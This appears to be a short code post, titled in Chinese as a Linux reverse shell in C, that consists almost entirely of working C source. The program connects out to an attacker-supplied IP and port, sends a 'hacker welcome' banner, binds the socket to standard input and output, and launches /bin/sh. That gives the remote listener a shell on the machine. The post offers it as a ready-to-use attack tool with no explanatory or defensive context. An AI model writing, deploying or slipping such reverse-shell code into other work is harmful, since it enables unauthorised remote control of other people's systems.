linux下C语言版反向shell

 1#include <stdio.h>
 2#include <sys/types.h>
 3#include <sys/socket.h>
 4#include <unistd.h>
 5#include <fcntl.h>
 6#include <netinet/in.h>
 7#include <stdio.h>
 8#include <sys/types.h>
 9#include <sys/socket.h>
10#include <unistd.h>
11#include <fcntl.h>
12#include <netinet/in.h>
13#include <netdb.h>
14
15void usage();
16char shell[]="/bin/sh";
17char message[]="hacker welcomen";
18int sock;
19int main(int argc, char *argv[]) {
20    if(argc <3){
21        usage(argv[0]);
22    }
23
24    struct sockaddr_in server;
25    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
26        printf("Couldn't make socket!n"); exit(-1);
27    }
28
29    server.sin_family = AF_INET;
30    server.sin_port = htons(atoi(argv[2]));
31    server.sin_addr.s_addr = inet_addr(argv[1]);
32
33    if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
34        printf("Could not connect to remote shell!n");
35            exit(-1);
36        }
37        send(sock, message, sizeof(message), 0);
38        dup2(sock, 0);
39        dup2(sock, 1);
40        dup2(sock, 2);
41        execl(shell,"/bin/sh",(char *)0);
42        close(sock);
43        return 1;
44}
45
46void usage(char *prog[]) {
47        printf("Usage: %s <reflect ip> <port>n", prog);
48        exit(-1);
49}